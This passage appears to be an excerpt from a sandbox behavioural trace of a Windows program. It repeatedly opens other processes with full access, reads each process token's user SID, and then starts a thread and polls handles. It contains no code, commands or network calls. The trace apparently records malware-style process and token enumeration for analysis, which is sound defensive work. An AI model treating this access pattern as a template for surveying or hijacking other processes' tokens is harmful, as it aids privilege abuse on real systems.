(in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xcf4, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.900] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.900] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.900] ConvertSidToStringSidW () returned 0x1 [0054.900] LocalFree (hMem=0x33e81f0) returned 0x0 [0054.900] CloseHandle (hObject=0x310) returned 1 [0054.900] CloseHandle (hObject=0x30c) returned 1 [0054.900] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x9b4, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.900] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.900] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.900] ConvertSidToStringSidW () returned 0x1 [0054.900] LocalFree (hMem=0x33e8328) returned 0x0 [0054.900] CloseHandle (hObject=0x310) returned 1 [0054.900] CloseHandle (hObject=0x30c) returned 1 [0054.900] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x7b8, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.900] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.901] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.901] ConvertSidToStringSidW () returned 0x1 [0054.901] LocalFree (hMem=0x33e8808) returned 0x0 [0054.901] CloseHandle (hObject=0x310) returned 1 [0054.901] CloseHandle (hObject=0x30c) returned 1 [0054.901] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x784, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.901] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.901] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.901] ConvertSidToStringSidW () returned 0x1 [0054.901] LocalFree (hMem=0x33e86d0) returned 0x0 [0054.901] CloseHandle (hObject=0x310) returned 1 [0054.901] CloseHandle (hObject=0x30c) returned 1 [0054.901] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xd44, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.901] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.901] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.901] ConvertSidToStringSidW () returned 0x1 [0054.901] LocalFree (hMem=0x33e8530) returned 0x0 [0054.901] CloseHandle (hObject=0x310) returned 1 [0054.901] CloseHandle (hObject=0x30c) returned 1 [0054.901] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xd2c, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.901] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.901] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.901] ConvertSidToStringSidW () returned 0x1 [0054.901] LocalFree (hMem=0x33e8870) returned 0x0 [0054.901] CloseHandle (hObject=0x310) returned 1 [0054.902] CloseHandle (hObject=0x30c) returned 1 [0054.902] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xc30, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.902] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.902] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.902] ConvertSidToStringSidW () returned 0x1 [0054.902] LocalFree (hMem=0x33e8808) returned 0x0 [0054.902] CloseHandle (hObject=0x310) returned 1 [0054.902] CloseHandle (hObject=0x30c) returned 1 [0054.902] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xd5c, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.902] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.902] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.902] ConvertSidToStringSidW () returned 0x1 [0054.902] LocalFree (hMem=0x33e8598) returned 0x0 [0054.902] CloseHandle (hObject=0x310) returned 1 [0054.902] CloseHandle (hObject=0x30c) returned 1 [0054.902] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xd10, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.902] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.902] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.902] ConvertSidToStringSidW () returned 0x1 [0054.902] LocalFree (hMem=0x33e87a0) returned 0x0 [0054.902] CloseHandle (hObject=0x310) returned 1 [0054.902] CloseHandle (hObject=0x30c) returned 1 [0054.902] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x7a4, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.902] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.902] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.902] ConvertSidToStringSidW () returned 0x1 [0054.903] LocalFree (hMem=0x33e88d8) returned 0x0 [0054.903] CloseHandle (hObject=0x310) returned 1 [0054.903] CloseHandle (hObject=0x30c) returned 1 [0054.903] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x58, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.903] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.903] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.903] ConvertSidToStringSidW () returned 0x1 [0054.903] LocalFree (hMem=0x33e82c0) returned 0x0 [0054.903] CloseHandle (hObject=0x310) returned 1 [0054.903] CloseHandle (hObject=0x30c) returned 1 [0054.903] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xdac, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.903] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.903] CloseHandle (hObject=0x30c) returned 1 [0054.903] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x83c, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.903] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.903] CloseHandle (hObject=0x30c) returned 1 [0054.903] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xdb8, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.903] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.903] CloseHandle (hObject=0x30c) returned 1 [0054.903] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xd64, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.903] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.903] CloseHandle (hObject=0x30c) returned 1 [0054.904] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xdcc, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.904] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.904] CloseHandle (hObject=0x30c) returned 1 [0054.904] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0xd1c, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.904] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x310) returned 0x0 [0054.904] GetTokenInformation (in: TokenHandle=0x310, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.904] ConvertSidToStringSidW () returned 0x1 [0054.904] LocalFree (hMem=0x33e8328) returned 0x0 [0054.904] CloseHandle (hObject=0x310) returned 1 [0054.904] CloseHandle (hObject=0x30c) returned 1 [0054.904] LocalFree (hMem=0x33e8258) returned 0x0 [0054.904] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fb5f8) returned 1 [0054.904] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3788) returned 1 [0054.904] CloseHandle (hObject=0x300) returned 1 [0054.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32105a0, lpParameter=0x314, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x30c [0054.917] Sleep (dwMilliseconds=0x64) [0055.298] Sleep (dwMilliseconds=0x64) [0055.492] Sleep (dwMilliseconds=0x64) [0055.861] Sleep (dwMilliseconds=0x64) [0056.410] Sleep (dwMilliseconds=0x64) [0057.817] Sleep (dwMilliseconds=0x64) [0058.419] Sleep (dwMilliseconds=0x64) [0059.018] Sleep (dwMilliseconds=0x64) [0062.288] Sleep (dwMilliseconds=0x64) [0072.862] Sleep (dwMilliseconds=0x64) [0077.893] Sleep (dwMilliseconds=0x64) [0084.719] Sleep (dwMilliseconds=0x64) [0087.918] Sleep (dwMilliseconds=0x64) [0088.835] Sleep (dwMilliseconds=0x64) Thread: id = 4 os_tid = 0xeb8 Thread: id = 5 os_tid = 0xea0 Thread: id = 6 os_tid = 0xd94 [0054.564] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.564] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.564] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.564] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.564] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.564] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.564] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.564] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.564] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.564] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.564] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.564] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.565] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.565] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.565] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.565] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.565] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.565] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.565] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.565] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.565] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.565] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.565] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.565] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.565] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.565] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.565] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.565] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.565] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.565] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.565] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.565] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.566] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.566] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.566] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.566] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.566] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.566] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.566] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.566] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.566] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.566] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.566] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.566] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.566] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.566] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.566] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.566] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.566] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.566] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.566] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.567] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.567] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.567] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.567] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.567] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.567] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.567] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.567] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.567] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.567] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.567] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.567] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.567] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.567] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.567] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.567] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.567] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.567] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.567] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.568] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.568] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.568] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.568] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.568] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.568] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.568] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.568] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.568] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.568] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.568] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.568] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.568] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.568] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.568] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.568] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.568] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.568] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.568] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.569] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.569] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.569] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.569] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.569] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.569] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.569] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.569] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.569] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.569] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.569] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.569] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.569] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.569] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.569] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.569] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.569] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.569] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.570] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.570] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.570] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.570] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.570] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.570] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.570] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.570] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.570] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.570] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.570] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.570] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.570] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.570] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.570] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.570] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.570] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.570] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.570] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.571] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.571] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.571] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.571] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.571] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.571] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0054.571] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0054.571] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 